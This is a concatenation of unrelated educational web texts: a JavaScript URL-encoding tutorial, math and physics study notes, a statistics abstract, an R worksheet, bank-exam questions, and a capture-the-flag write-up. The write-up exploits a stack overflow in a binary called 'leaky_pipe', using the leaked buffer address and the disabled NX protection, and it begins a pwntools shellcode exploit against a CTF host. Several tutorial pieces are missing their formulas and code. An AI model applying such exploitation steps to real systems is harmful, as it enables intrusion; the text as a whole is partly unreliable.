Encoding and decoding the URI and the URI components is required by the URL of any website to reach or redirect the user. It is a usual task in web development, and this is generally done while making a GET request to the API with the query params. The query params must also be encoded in the URL string, where the server will decode this. Many browsers automatically encode and decode the URL and the response string.

E.g., A space " " is encoded as a + or %20.

Encoding a URL

The conversion of the special characters can be done by using the following method from JavaScript −

• encodeURI() function − The encodeURI() function is used for encoding the complete URI, i.e., converting the special characters from the URI into browser understandable language. Some of the characters that are not encoded are: (, / ? : @ & = + \$ #).

• encodeURIComponent() function − This function encodes the whole URL instead of just the URI. The component encodes the domain name also.

Syntax

encodeURI(complete_uri_string )
encodeURIComponent(complete_url_string )

Parameter

• complete_uri_string string − It holds the URL to be encoded.

• complete_url_string string − It holds the complete URL string to be encoded.

The above functions return the encoded URL.

Example 1

In the below example, we encode a URL using encodeURI() and encodeURIComponent() methods.

# index.html

<!DOCTYPE html>

<title>Encoding URI</title>

Welcome To Tutorials Point

Decoding a URL

The decoding of a URL can be done using the following methods −

• decodeURI() function − The decodeURI() function is used to decode the URI, i.e., converting the special characters back to the original URI language.

• decodeURIComponent() function − This function decodes the complete URL back to its original form. The decodeURI only decodes the URI part, whereas this method decodes the URL, including the domain name.

Syntax

decodeURI(encoded_URI )
decodeURIComponent(encoded_URL

Parameter

• encoded_URI URI − It takes input for the encoded URL created by the encodeURI() function.

• encoded_URL URL − It takes input for the encoded URL created by the encodeURIComponent() function.

These functions will return the decoded format of the encoded URL.

Example 2

In the below example, we decode an encoded URL using decodeURI() and decodeURIComponent() methods into its original form.

# index.html

<!DOCTYPE html>

<title>Encode & Decode URL</title>

Welcome To Tutorials Point


text:
In this challenge we recieved a binary in which we are asked to exploit and somehow retrieve the flag.

you can find the binary for this challenge here

## Initial Analysis

We start by running the binary and checking it behavior.

./leaky_pipe
We have just fixed the plumbing systm, let's hope there's no leaks!
>.> aaaaah shiiit wtf is dat address doin here...  0x7ffde7760410
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <--- our input
Segmentation fault (core dumped)

And as we see, we can already get a segfault by spamming some A’s in the input.

One intersting catch is that address in the output of the binary, we also note that it changes everytime we run the binary so the binary probably is a PIE (Position Independent Executable).

Let’s run a checksec to make sure of our hypothesis.

gef➤  checksec
[+] checksec for '/vagrant/leaky_pipe/leaky_pipe'
Canary                        : ✘
NX                            : ✘
PIE                           : ✓
Fortify                       : ✘
RelRO                         : Partial

Seems like we have everything disabled except PIE just as predicted.

## Reversing the binary

Let’s load the binary in ghidra and check the generated decompilation, sometimes this can save a lot of time trying to understand a disassembly.

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36  undefined8 main(void) { basic_ostream *pbVar1; basic_ostream> *this; ssize_t sVar2; undefined8 uVar3; undefined local_28 [32]; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stdin,(char *)0x0,2,0); pbVar1 = std::operator<<((basic_ostream *)std::cout, "We have just fixed the plumbing systm, let\'s hope there\'s no leaks!"); std::basic_ostream>::operator<< ((basic_ostream> *)pbVar1, std::endl>); pbVar1 = std::operator<<((basic_ostream *)std::cout, ">.> aaaaah shiiit wtf is dat address doin here... "); this = (basic_ostream> *) std::basic_ostream>::operator<< ((basic_ostream> *)pbVar1,local_28); std::basic_ostream>::operator<< (this,std::endl>); sVar2 = read(0,local_28,0x40); if (sVar2 < 5) { pbVar1 = std::operator<<((basic_ostream *)std::cout,"no smol input plz"); std::basic_ostream>::operator<< ((basic_ostream> *)pbVar1, std::endl>); uVar3 = 0xffffffff; } else { uVar3 = 0; } return uVar3; }

The binary is fairly simple to reverse, it’s written in C++ so the decompilation may seem overwhelming at the first glance but its actually quite simple!

We are intersted in the part at line 16 where it reads 0x40 bytes from STDIN to the buffer named local_28.

  sVar2 = read(0,local_28,0x40);

On checking the variable local_28 we can see that it’s only 32 bytes long and we are trying to read 64 (0x40) bytes into it, and that’s why we got a segfault.

  undefined local_28 [32];

One more thing we notice on analyzing the decompilation is the address we saw at the output of the binary, here is the part we are intersted in.

this = (basic_ostream<char,std::char_traits<char>> *)
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar1,local_28);

Seems like it’s printing a pointer to the buffer local_28!

This is just too good to be true at this point, we have a leaked address of a buffer that we control.

If we recall our checksec result we saw that NX-bit was not set so this meaning we can execute arbitrary shellcode on the stack.

Let’s fireup our editor and start creating the exploit using a 64-bit execve(*"/bin/sh/") shellcode.

from pwn import *
context.binary = 'leaky_pipe'
OFFSET = 40

if args['REMOTE']:
io = remote('ctf.0xl4ugh.com', 4141)
else:
io = process('leaky_pipe')

# Extract the buffer address that is leaked so we can use it in our exploit
print(io.recvuntil("..."))

# Shellcode from https://www.exploit-db.com/exploits/42179

# We start filling the buffer with our shellcode
# and the remaining bytes are padded with A's.


text:
### OpenModelica

The short course presents an object-oriented component-based approach to computer-supported mathematical modeling and simulation using the powerful Modelica language and its associated technology. Modelica can be viewed as an almost universal approach to high level computational modeling and simulation due to its ability to represent a wide range of application areas and provide general notation as well as powerful abstractions and efficient implementations.

The tutorial introduces people who are familiar with basic programming concepts to the Modelica language. It provides an overview of modeling and simulation in a variety of application areas, as well as a basic introduction to modeling and simulation concepts and the fundamentals of object-oriented component-based modeling for the novice.


text:
# NCERT Class 11-Math՚s: Exemplar Chapter – 11 Conic Sections Part 4 (For CBSE, ICSE, IAS, NET, NRA 2023)

Glide to success with Doorsteptutor material for CBSE/Class-6 : get questions, notes, tests, video lectures and more- for all subjects of CBSE/Class-6.

Question 8:

An equilateral triangle is inscribed in the parabola whose one vertex is at the vertex of the parabola. Find the length of the side of the triangle.

As shown in the figure APQ denotes the equilateral triangle with its equal sides of length (say) .

Here AR

Also, .

Thus are the coordinates of the point P lying on the parabola .

Therefore, .

Thus, is the required length of the side of the equilateral triangle inscribed in the parabola .

Question 9:

Find the equation of the ellipse which passes through the point and has eccentricity , with x-axis as its major axis and centre at the origin.

Let be the equation of the ellipse passing through the point .

Therefore, we have .

Or

Or

Or

Again

Hence, the required equation of the ellipse is

Or

Question 10:

Find the equation of the hyperbola whose vertices are and one of the directories is .

As the vertices are on the and their middle point is the origin, the equation is of the type .

Here , vertices are and directrices are given by

Thus and so which gives

Consequently, the required equation of the hyperbola is

## Objective Type Questions

Each of the examples from 11 to 16, has four possible options, out of which one is correct. Choose the correct answer from the given four options (M. C. Q.)

Question 11:

The equation of the circle in the first quadrant touching each coordinate axis at a distance of one unit from the origin is:

(A)

(B)

(C)

(C)

The correct choice is (A) , since the equation can be written as which represents a circle touching both the axes with its centre and radius one unit.

Question 12:

The equation of the circle having centre and passing through the point of intersection of the lines and is

(A)

(B)

(C)

(D)

The correct option is (A) .

The point of intersection of and are , i.e.. , the point

Therefore, the radius is and hence the equation of the circle is given by

or .


text:
## Electronic Journal of Statistics

### A Kiefer-Wolfowitz type of result in a general setting, with an application to smooth monotone estimation

#### Abstract

We consider Grenander type estimators for monotone functions $f$ in a very general setting, which includes estimation of monotone regression curves, monotone densities, and monotone failure rates. These estimators are defined as the left-hand slope of the least concave majorant $\widehat{F}_{n}$ of a naive estimator $F_{n}$ of the integrated curve $F$ corresponding to $f$. We prove that the supremum distance between $\widehat{F}_{n}$ and $F_{n}$ is of the order $O_{p}(n^{-1}\logn)^{2/(4-\tau)}$, for some $\tau\in[0,4)$ that characterizes the tail probabilities of an approximating process for $F_{n}$. In typical examples, the approximating process is Gaussian and $\tau=1$, in which case the convergence rate $n^{-2/3}(\log n)^{2/3}$ is in the same spirit as the one obtained by Kiefer and Wolfowitz [9] for the special case of estimating a decreasing density. We also obtain a similar result for the primitive of $F_{n}$, in which case $\tau=2$, leading to a faster rate $n^{-1}\log n$, also found by Wang and Woodfroofe [22]. As an application in our general setup, we show that a smoothed Grenander type estimator and its derivative are asymptotically equivalent to the ordinary kernel estimator and its derivative in first order.

#### Article information

Source
Electron. J. Statist., Volume 8, Number 2 (2014), 2479-2513.

Dates
First available in Project Euclid: 9 December 2014

https://projecteuclid.org/euclid.ejs/1418134261

Digital Object Identifier
doi:10.1214/14-EJS958

Mathematical Reviews number (MathSciNet)
MR3285873

Zentralblatt MATH identifier
1309.62065

Subjects
Primary: 62G05: Estimation
Secondary: 62G07: Density estimation 62G08: Nonparametric regression 62N02: Estimation

#### Citation

Durot, Cécile; Lopuhaä, Hendrik P. A Kiefer-Wolfowitz type of result in a general setting, with an application to smooth monotone estimation. Electron. J. Statist. 8 (2014), no. 2, 2479--2513. doi:10.1214/14-EJS958. https://projecteuclid.org/euclid.ejs/1418134261

#### References

• [1] Balabdaoui, F. and Wellner, J. A., A Kiefer-Wolfowitz theorem for convex densities. In, Asymptotics: particles, processes and inverse problems, vol. 55 of IMS Lecture Notes Monogr. Ser., Inst. Math. Statist., Beachwood, OH, 2007, pp. 1–31.
• [2] Barlow, R. E., Bartholomew, D. J., Bremner, J., and Brunk, H., Statistical Inference Under Order Restrictions: The Theory and Application of Isotonic Regression. Wiley New York, 1972.
• [3] Cybakov, A. B., Introduction à l’estimation non paramétrique, vol. 41. Springer, 2003.
• [4] Dümbgen, L. and Rufibach, K., Maximum likelihood estimation of a log-concave density and its distribution function: Basic properties and uniform consistency., Bernoulli 15, 1 (2009), 40–68.
• [5] Durot, C., On the $\mathbbL_p$-error of monotonicity constrained estimators., Ann. Statist. 35, 3 (2007), 1080–1104.
• [6] Durot, C., Groeneboom, P., and Lopuhaä, H. P., Testing equality of functions under monotonicity constraints., Journal of Nonparametric Statistics 25, 6 (2013), 939–970.
• [7] Durot, C. and Tocquet, A.-S., On the distance between the empirical process and its concave majorant in a monotone regression framework. In, Annales de l’Institut Henri Poincare (B) Probability and Statistics (2003), vol. 39, Elsevier, pp. 217–240.
• [8] Grenander, U., On the theory of mortality measurement., Scandinavian Actuarial Journal 1956, 2 (1956), 125–153.
• [9] Kiefer, J. and Wolfowitz, J., Asymptotically minimax estimation of concave and convex distribution functions., Z. Wahrscheinlichkeitstheorie und Verw. Gebiete 34, 1 (1976), 73–85.
• [10] Kochar, S. C., Mukerjee, H., and Samaniego, F. J., Estimation of a monotone mean residual life., The Annals of Statistics 28, 3 (2000), 905–921.
• [11] Komlós, J., Major, P., and Tusnády, G., An approximation of partial sums of independent $\mathrmRV$’s and the sample $\mathrmDF$. I., Z. Wahrscheinlichkeitstheorie und Verw. Gebiete 32 (1975), 111–131.
• [12] Kulikov, V. N. and Lopuhaä, H. P., The limit process of the difference between the empirical distribution function and its concave majorant., Statist. Probab. Lett. 76, 16 (2006), 1781–1786.
• [13] Lepski, O. V. and Spokoiny, V., Optimal pointwise adaptive methods in nonparametric estimation., The Annals of Statistics 25, 6 (1997), 2512–2546.
• [14] Mammen, E., Estimating a smooth monotone regression function., The Annals of Statistics 19, 2 (1991), 724–740.
• [15] Mukerjee, H., Monotone nonparametric regression., The Annals of Statistics 16, 2 (1988), 741–750.
• [16] Pal, J. K. and Woodroofe, M., On the distance between cumulative sum diagram and its greatest convex minorant for unequally spaced design points., Scandinavian journal of statistics 33, 2 (2006), 279–291.
• [17] Revuz, D. and Yor, M., Continuous martingales and Brownian motion, vol. 293 of Grundlehren der Mathematischen Wissenschaften [Fundamental Principles of Mathematical Sciences]. Springer-Verlag, Berlin, 1991.
• [18] Sen, B., Banerjee, M., and Woodroofe, M., Inconsistency of bootstrap: The Grenander estimator., The Annals of Statistics 38, 4 (2010), 1953–1977.
• [19] van der Vaart, A. W. and van der Laan, M. J., Smooth estimation of a monotone density., Statistics 37, 3 (2003), 189–203.
• [20] Wand, M. P. and Jones, M. C., Kernel smoothing, vol. 60 of Monographs on Statistics and Applied Probability. Chapman and Hall Ltd., London, 1995.
• [21] Wang, J.-L., Asymptotically minimax estimators for distributions with increasing failure rate., The Annals of Statistics (1986), 1113–1131.
• [22] Wang, X. and Woodroofe, M., A Kiefer–Wolfowitz comparison theorem for Wicksell’s problem., The Annals of Statistics 35, 4 (2007), 1559–1575.
• [23] Wang, Y., The limit distribution of the concave majorant of an empirical distribution function., Statistics and Probability Letters (1994), 81–84.


text:
In this worksheet, you’ll revise concepts you’ve already learned. We’ll use these concepts in the next worksheet.

In this worksheet, we’ll analyse some data on the production effect in memory. In this particular production-effect experiment, the experimenters examined whether people remember words better if they read them silently, or if someone else reads the words out loud to them. It was a between-subjects experiment; in other words, some participants read silently, while others had the words read out loud to them. All participants were later given a recognition test, where they had to pick out the presented words from a list that contained both old and new words. These data were computer-generated for the purposes of this exercise, but are similar to real data in this area.

First, you need to get the data and load it into Rstudio. Here’s how:

• Start a new RStudio project and name it (Plymouth University students: use the name psyc520).

• Open an R script ready to record all your commands, and save it as revision.R

• Use RStudio to upload the production effect data to that project.

• Load the data into a dataframe.

Now, take a look at the data by clicking on its name in the Environment tab. You will see there are three columns, named subj, cond, and phit. The subj column is an anonymous ID number for each participant. The cond column indicates which of the two conditions of the experiment the participant was in. The phit column gives the probability of a ‘hit’. This is a measure of how good that participant’s memory was (bigger is better).

## Descriptive statistics

Next, take a look at how much the groups (silent vs. other) differ from each other, and how much variability there is in each group. Specifically:

# A tibble: 2 × 2
cond   mean(phit)
<chr>         <dbl>
1 other         0.671
2 silent        0.592
• Look at the variability in each group, and group overlap, using a density plot. It should look like this:

## Effect size

In you have not previously been taught about effect sizes, take a look at the materials here before proceeding.

In those materials, you learned that effect size measures how big the difference between two groups is, relative to the amount of variability within each group. For example, you worked out that the gender pay gap in the U.S. is several thousand dollars a year, and that the effect size is small, because both men and women vary a lot in how much they earn. The variability of incomes in the U.S. is high because there are a wide range of incomes above and below the mean.

Calculate the effect size for the current memory experiment. If you get it right, your output should look like this:

Cohen's d

d estimate: 0.4179971 (small)
95 percent confidence interval:
lower      upper
-0.1044576  0.9404518

Effect size measures how big the difference between the groups is, relative to the amount of variability in each group. Specifically, effect size is the difference in the means, divided by the standard deviation (a measure of variability). An effect size of 0.5 occurs when the difference in the means is half the standard deviation. Anything below 0.5 is considered to be a small effect size. Anything above 0.8 is considered large. Between these two figures, effect sizes are described as ‘medium’.

This experiment has a small effect size.

## Bayes Factor

Bayes Factors measure the level of evidence for there being (or not being) a difference between groups. If you get a Bayes Factor of 3 or more, psychologists generally consider that meaningful evidence for a difference. If you get a Bayes Factor of 0.33 or less, we generally consider that meaningful evidence for the absence of a difference. Where a Bayes Factor is greater than 0.33 but smaller than 3, we generally conclude the experiment didn’t tell us anything worth listening to.

Calculate the Bayes Factor for this experiment. The correct answer is:

Bayes factor analysis
--------------
[1] Alt., r=0.707 : 0.7811737 ±0.01%

Against denominator:
Null, mu1-mu2 = 0
---
Bayes factor type: BFindepSample, JZS

This experiment didn’t tell us anything worth listening to: the Bayes Factor was close to 1.

## All done!

That’s the end of the revision. You are now ready to start the intermediate-level guide to R.


text:
Courses
Courses for Kids
Free study material
Free LIVE classes
More

# Resonance Column Tube - JEE Important Topic

## What is a Resonance Column?

Last updated date: 17th Mar 2023
Total views: 60.3k
Views today: 1.39k

The resonance of an air column helps to determine the wavelength of the sound. The apparatus used for the experiment consists of a long cylindrical tube that is attached to the water reservoir. The resonance is indicated by the increase in the intensity of the sound.

The stationary wave is produced by the superposition of two waves of the same frequency and amplitude which are traveling with the same velocity in opposite directions. These waves produce certain fixed points along with the medium which undergoes zero displacements. These points where there is no displacement are called nodes. Somewhere, in the middle between all nodes are the regions of maximum displacement. Thus, these points are called antinodes.

## Resonance Column Apparatus

The resonance air column apparatus is one of the simplest techniques used to measure the speed of sound in air at room temperature. The vibration observed in the experiment can be set up in a resonance column apparatus. This resonance is a standing wave phenomenon in the air column. The resonance column apparatus consists of a long metal tube which is held vertically in a tall jar which contains water. This tube can also be fixed in a vertical position, also the length of the column can be varied by raising or lowering the tube.

• Resonance tube

• Thermometer

• Set Squares

• Plumb Line

• Water in a beaker

• Two-timing fork of known frequency

• Plastic beakers

Resonance Tube Apparatus

## Resonance Experiment Tube

The tube used in the experiment is filled with water. In the due course of the experiment, resonance is observed in the tube which is indicated by the sudden increase in the intensity of the sound. This resonance helps to determine the wavelength. The water level is moved up and down several times to locate the point of maximum sound intensity. The resonance counted in a certain distance of the tube is thus used to determine the wavelength and velocity of the sound. Now, let us understand the experiment a bit more clearly.

When the vibrating tuning fork is held above the open end, we can observe that longitudinal waves are sent down the air column. These waves are then reflected towards the water surface and thus produce standing waves. Here, the surface of water acts as the closed end. Also, nodes are produced at the water surface and antinodes are produced at the open end.

Waveform Construction in the Resonance Tube Experiment

Now, when the natural frequency of the tuning fork is equal to the frequency of the waves in the air column, a loud sound is produced in the column. This is the condition of resonance. This condition only occurs when the length of the air column is proportional to the one-fourth of the wavelength of the sound waves, where the frequency is equal to the frequency of tuning fork.

For first resonance,

${{l}_{1}}=\frac{\lambda }{4}$

Which means, for second resonance,

${{l}_{1}}=\frac{3\lambda }{4}$

From the above both equations, we get the relation

$\lambda =2\left( {{l}_{2}}-{{l}_{1}} \right)$

Therefore, at room temperature, the velocity of sound in air column can be found as

\begin{align} & u=v\lambda \\ & u=2v\left( {{l}_{2}}-{{l}_{1}} \right) \\ \end{align}

The velocity of sound at ${{0}^{\circ }}C$ can be calculated as

$v=v\sqrt{\frac{273}{273+t}}$

## End Correction of a Resonance Column

The short distance which is applied or added to the real length of a resonance tube, which helps to calculate the precise resonance frequency of the pipe is known as the end correction of the resonance column. A precise value of the resonance frequency is estimated when end correction is applied. It is to note that the fundamental resonance of a pipe occurs when the length of the resonator is half of the sound wavelength or quarter of the sound wavelength. The practical frequency of resonance comes out lower than this, thus we need to apply an end correction, thus the pipe used in the experiment is somewhat longer than its physical length. A precise value of resonance frequency of the pipe used in the experiment can be estimated, when an end correction is applied.

## Conclusion

The wavelength of sound and the velocity of sound can be easily determined by the resonance tube experiment. This is based on the concept of stationary waves which get produced when two waves traveling at the same amplitude and same frequency in the opposite direction superimpose on each other. Resonance, which is a phenomenon of standing waves or stationary waves, can be used to find the velocity of sound. In order to attain an accurate value it is advisable to apply end correction to the original results.

Competitive Exams after 12th Science

## FAQs on Resonance Column Tube - JEE Important Topic

1. Is the resonance column open pipe or closed pipe?

In the resonance column apparatus, a resonance tube is used whose one end is open and the end is closed. This apparatus is used to determine the speed and wavelength of the sound waves. The tube which is present in the apparatus is filled with water and thus the water surface acts as a closed end. A tuning fork which is present on the open end of the tube and is then vibrated which then produces standing waves in the air column. Therefore, the resonance column is both an open and closed system.

2. Why is water used in resonance tubes?

The water fills the space that is not filled by the air. It gives a way to control the exact length of the air column, so when the natural frequency of tuning fork is equal to the frequency of the waves in the air column, the loud sound made in the air column can be heard for maximum amplification, which therefore, means a resonance point have been found at one of the key points for measuring the sound wavelength.


text:
We use cookies to ensure that we give you the best experience on our website. If you continue without changing your settings, we'll assume that you are happy to receive all cookies on the Big Brain Maths website.
» Continue «

Then click to view lessons and worksheets

### KS 3

Topic & lesson View
lesson
Work
sheet

### How it works

Click on this icon below, to view the information about each lesson.

### Substituting Numbers into Formula

Substituting numbers into formula, part 3

### Straight Line Graphs

Exam tip -- completing a table of values
Plotting straight line graphs from a table of values

### Simplifying Expressions

Simplifying Expressions Part 3

### Volume

Calculating the volume of any prism
Volume of a cylinder practice question
Volume of a square based pyramid

Finding an angle

### Angles on Parallel Lines

Alternate angles on parallel lines

### Angles

Finding angles in a triangle

### 3D Right-angled Trigonometry (Higher Only)

3D Trigonometry in a Pyramid

### 3D Phythagoras (Higher Only)

3D Pythagoras in a pyramid

### Rounding

Rounding to Significant Figures part 1

### Venn Diagrams

Word questions using Venn diagrams (2 sets) - Part 1
Word questions using Venn Diagrams (2 sets) Part 2

### Conditional Probability

Conditional probability with 2 sets
Move to class


text:
# IBPS Clerk English Language Questions with Answers Practice online test 11

Description: free IBPS Clerk English Language Questions with Answers Practice test 11 for IBPS Clerk Preliminary and Main online test Prepare bank Clerk banking mock exams adda

1 . Rearrange the following six sentences (A), (B), (C), (D), (E) and (F) in the proper sequence to form a meaningful paragraph and then answer the questions given below.

(A) It is a conscious training of the young for the later adoption of adult roles.

(B) It is an attempt to shape the development of the coming generation in accordance with the social ideals of life.

(C) Education is one of the basic activities in all human societies.

(D) It its broadest sense education may be defined as the process whereby the social heritage of a group is passed on from one generation to another and whereby the child learns the rules of social behaviour.

(E) It is a process of transmission of social heritage.

(F) It is synonymous with socialisation
Which of the following should be the THIRD sentence after rearrangement?
 A B C D E
2 . Rearrange the following six sentences (A), (B), (C), (D), (E) and (F) in the proper sequence to form a meaningful paragraph and then answer the questions given below.

(A) It is a conscious training of the young for the later adoption of adult roles.

(B) It is an attempt to shape the development of the coming generation in accordance with the social ideals of life.

(C) Education is one of the basic activities in all human societies.

(D) It its broadest sense education may be defined as the process whereby the social heritage of a group is passed on from one generation to another and whereby the child learns the rules of social behaviour.

(E) It is a process of transmission of social heritage.

(F) It is synonymous with socialisation
Which of the following should be the LAST (SIXTH) sentence after rearrangement?
 B F A C D
3 . Rearrange the following six sentences (A), (B), (C), (D), (E) and (F) in the proper sequence to form a meaningful paragraph and then answer the questions given below.

(A) It is a conscious training of the young for the later adoption of adult roles.

(B) It is an attempt to shape the development of the coming generation in accordance with the social ideals of life.

(C) Education is one of the basic activities in all human societies.

(D) It its broadest sense education may be defined as the process whereby the social heritage of a group is passed on from one generation to another and whereby the child learns the rules of social behaviour.

(E) It is a process of transmission of social heritage.

(F) It is synonymous with socialisation
Which of the following should be the FOURTH sentence after rearrangement?
 C E D B A
4 . Rearrange the following six sentences (A), (B), (C), (D), (E) and (F) in the proper sequence to form a meaningful paragraph and then answer the questions given below.

(A) It is a conscious training of the young for the later adoption of adult roles.

(B) It is an attempt to shape the development of the coming generation in accordance with the social ideals of life.

(C) Education is one of the basic activities in all human societies.

(D) It its broadest sense education may be defined as the process whereby the social heritage of a group is passed on from one generation to another and whereby the child learns the rules of social behaviour.

(E) It is a process of transmission of social heritage.

(F) It is synonymous with socialisation
Which of the following should be the FIRST sentence after rearrangement?
 F C B E D
5 . Rearrange the following six sentences (A), (B), (C), (D), (E) and (F) in the proper sequence to form a meaningful paragraph and then answer the questions given below.

(A) It is a conscious training of the young for the later adoption of adult roles.

(B) It is an attempt to shape the development of the coming generation in accordance with the social ideals of life.

(C) Education is one of the basic activities in all human societies.

(D) It its broadest sense education may be defined as the process whereby the social heritage of a group is passed on from one generation to another and whereby the child learns the rules of social behaviour.

(E) It is a process of transmission of social heritage.

(F) It is synonymous with socialisation
Which of the following should be the SECOND sentence after rearrangement?
 D B E F C
6 . In the following passage, some of the words have been left out, each of which is indicated by a number. Find the suitable word from the options given against each number and fill up the blanks with appropriate words to make the paragraph meaningfully complete.

RBI governor Raghuram Rajan demonstrated that he meant to go beyond platitudes on financial inclusion by setting up a committee on financial services for small businesses and low-income households. The committee, headed by Nachiket Mor, has lots on its $(1)$, including a proposal to give official $(2)$ to a new segment of nonbanking finance companies (NBFCs) that specifically $(3)$ to small production units and low-income households. The proposal, made by Chennai-based Shriram Capital Ltd, $(4)$ serious consideration. Particularly when it echoes the views of a government-appointed Key Advisory Group on the subject.

The RBI's long-term regulatory thrust has been to $(5)$ NBFCs to extinction, seeing them as vermin that gnaw away at probity and prudence in the world of finance. The RBI wants banks to take over all the functions that are $(6)$by NBFCs. Over the years, the RBI has $(7)$ down the number of NBFCs that are allowed to take deposits from 1,420 in 1998 to 311 in 2010. The regulations that govern them have $(8)$been tightened. At the same time, banks have failed to $(9)$the responsibility of meeting the credit requirements of India's teeming, diverse, dynamic and under-funded unorganised sector. The sector $(10)$ 78% of its credit needs from NBFCs, moneylenders and other informal sources. And at an exorbitant cost.
$(1)$
 programme plan platter utensils platform
7 . In the following passage, some of the words have been left out, each of which is indicated by a number. Find the suitable word from the options given against each number and fill up the blanks with appropriate words to make the paragraph meaningfully complete.

RBI governor Raghuram Rajan demonstrated that he meant to go beyond platitudes on financial inclusion by setting up a committee on financial services for small businesses and low-income households. The committee, headed by Nachiket Mor, has lots on its $(1)$, including a proposal to give official $(2)$ to a new segment of nonbanking finance companies (NBFCs) that specifically $(3)$ to small production units and low-income households. The proposal, made by Chennai-based Shriram Capital Ltd, $(4)$ serious consideration. Particularly when it echoes the views of a government-appointed Key Advisory Group on the subject.

The RBI's long-term regulatory thrust has been to $(5)$ NBFCs to extinction, seeing them as vermin that gnaw away at probity and prudence in the world of finance. The RBI wants banks to take over all the functions that are $(6)$by NBFCs. Over the years, the RBI has $(7)$ down the number of NBFCs that are allowed to take deposits from 1,420 in 1998 to 311 in 2010. The regulations that govern them have $(8)$been tightened. At the same time, banks have failed to $(9)$the responsibility of meeting the credit requirements of India's teeming, diverse, dynamic and under-funded unorganised sector. The sector $(10)$ 78% of its credit needs from NBFCs, moneylenders and other informal sources. And at an exorbitant cost.
$(2)$
 recognition order consensus value perception
8 . In the following passage, some of the words have been left out, each of which is indicated by a number. Find the suitable word from the options given against each number and fill up the blanks with appropriate words to make the paragraph meaningfully complete.

RBI governor Raghuram Rajan demonstrated that he meant to go beyond platitudes on financial inclusion by setting up a committee on financial services for small businesses and low-income households. The committee, headed by Nachiket Mor, has lots on its $(1)$, including a proposal to give official $(2)$ to a new segment of nonbanking finance companies (NBFCs) that specifically $(3)$ to small production units and low-income households. The proposal, made by Chennai-based Shriram Capital Ltd, $(4)$ serious consideration. Particularly when it echoes the views of a government-appointed Key Advisory Group on the subject.

The RBI's long-term regulatory thrust has been to $(5)$ NBFCs to extinction, seeing them as vermin that gnaw away at probity and prudence in the world of finance. The RBI wants banks to take over all the functions that are $(6)$by NBFCs. Over the years, the RBI has $(7)$ down the number of NBFCs that are allowed to take deposits from 1,420 in 1998 to 311 in 2010. The regulations that govern them have $(8)$been tightened. At the same time, banks have failed to $(9)$the responsibility of meeting the credit requirements of India's teeming, diverse, dynamic and under-funded unorganised sector. The sector $(10)$ 78% of its credit needs from NBFCs, moneylenders and other informal sources. And at an exorbitant cost.
$(3)$
 take call send accommodate lend
9 . In the following passage, some of the words have been left out, each of which is indicated by a number. Find the suitable word from the options given against each number and fill up the blanks with appropriate words to make the paragraph meaningfully complete.

RBI governor Raghuram Rajan demonstrated that he meant to go beyond platitudes on financial inclusion by setting up a committee on financial services for small businesses and low-income households. The committee, headed by Nachiket Mor, has lots on its $(1)$, including a proposal to give official $(2)$ to a new segment of nonbanking finance companies (NBFCs) that specifically $(3)$ to small production units and low-income households. The proposal, made by Chennai-based Shriram Capital Ltd, $(4)$ serious consideration. Particularly when it echoes the views of a government-appointed Key Advisory Group on the subject.

The RBI's long-term regulatory thrust has been to $(5)$ NBFCs to extinction, seeing them as vermin that gnaw away at probity and prudence in the world of finance. The RBI wants banks to take over all the functions that are $(6)$by NBFCs. Over the years, the RBI has $(7)$ down the number of NBFCs that are allowed to take deposits from 1,420 in 1998 to 311 in 2010. The regulations that govern them have $(8)$been tightened. At the same time, banks have failed to $(9)$the responsibility of meeting the credit requirements of India's teeming, diverse, dynamic and under-funded unorganised sector. The sector $(10)$ 78% of its credit needs from NBFCs, moneylenders and other informal sources. And at an exorbitant cost.
$(4)$
 preserve deserves entitles wants attracted
RBI governor Raghuram Rajan demonstrated that he meant to go beyond platitudes on financial inclusion by setting up a committee on financial services for small businesses and low-income households. The committee, headed by Nachiket Mor, has lots on its $(1)$, including a proposal to give official $(2)$ to a new segment of nonbanking finance companies (NBFCs) that specifically $(3)$ to small production units and low-income households. The proposal, made by Chennai-based Shriram Capital Ltd, $(4)$ serious consideration. Particularly when it echoes the views of a government-appointed Key Advisory Group on the subject.
The RBI's long-term regulatory thrust has been to $(5)$ NBFCs to extinction, seeing them as vermin that gnaw away at probity and prudence in the world of finance. The RBI wants banks to take over all the functions that are $(6)$by NBFCs. Over the years, the RBI has $(7)$ down the number of NBFCs that are allowed to take deposits from 1,420 in 1998 to 311 in 2010. The regulations that govern them have $(8)$been tightened. At the same time, banks have failed to $(9)$the responsibility of meeting the credit requirements of India's teeming, diverse, dynamic and under-funded unorganised sector. The sector $(10)$ 78% of its credit needs from NBFCs, moneylenders and other informal sources. And at an exorbitant cost.
$(5)$


text:
# State whether the following are true or false. Justify your answer. The value of cos θ increases as θ increases - Mathematics

MCQ
True or False

The value of cos θ increases as θ increases

• True

• False

#### Solution

cos 0° = 1

cos 30^@ =  sqrt3/2 = 0.866

cos 45^@ =  1/sqrt2  = 0.707

cos 60^@ =  1/2 = 0.5

cos90° = 0

It can be observed that the value of cos θ does not increase in the interval of 0° < θ < 90°.

Hence, the given statement is false.

Is there an error in this question or solution?

#### APPEARS IN

NCERT Class 10 Maths
Chapter 8 Introduction to Trigonometry
Exercise 8.2 | Q 4.3 | Page 187


text:
# Adjacent Angles & Vertical Angles

The measure of rotation of a ray, when it is rotated about its end point is known as the angle formed by the ray between its initial and final position.

Consider a wall clock as shown in the following fig. 1. The minute hand and second hand of clock form one angle represented as ∠AOC and the hour hand forms another angle with the second hand represented as∠COB. Both these pair of angles i.e.∠AOC and ∠COB lies next to each other and are known as adjacent angles.

∠AOC and ∠COB have a common vertex, a common arm and the uncommon arms lie on either side of the common arms. Such angles are known as

Here are some examples of Adjacent angles:

### Linear Pair

Pair of adjacent angles whose measures add up to form a straight angle is known as a linear pair. The angles in a linear pair are supplementary.

Consider the following figure in which a ray $\overrightarrow{OP}$ stand on the line segment $\overline{AB}$   as shown:

The angles ∠POB and ∠POA are formed at O. ∠POB and ∠POA are adjacent angles and they are supplementary i.e. ∠POB + ∠POA = ∠AOB = 180°

∠POB and ∠POA are adjacent to each other and when the sum of adjacent angles is 180° then such angles form linear pair of angles.

### Vertically Opposite Angles

